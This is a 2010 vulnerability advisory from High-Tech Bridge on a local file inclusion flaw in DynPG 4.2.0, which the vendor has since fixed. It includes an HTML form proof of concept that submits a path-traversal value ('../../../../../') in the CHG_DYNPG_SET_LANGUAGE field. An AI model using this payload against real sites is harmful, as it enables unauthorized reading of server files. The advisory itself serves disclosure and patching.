LFI in DynPG

Type securityvulns
Reporter Securityvulns
Modified 2010-12-01T00:00:00


Vulnerability ID: HTB22703 Reference: http://www.htbridge.ch/advisory/lfi_in_dynpg.html Product: DynPG Vendor: dynpg.org ( http://www.dynpg.org/ ) Vulnerable Version: 4.2.0 Vendor Notification: 16 November 2010 Vulnerability Type: Local File Inclusion Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in CHG_DYNPG_SET_LANGUAGE variable.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://dynpg/index.php" method="post" name="main" > <input type="hidden" name="SYSTEM_NAME" value="[admin_login]" /> <input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" /> <input type="hidden" name="SET_LANGUAGE" value="1" /> <input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="../../../../../" /> <input type="submit" value="submit" name="submit" /> </form>

Solution: Upgrade to the most recent version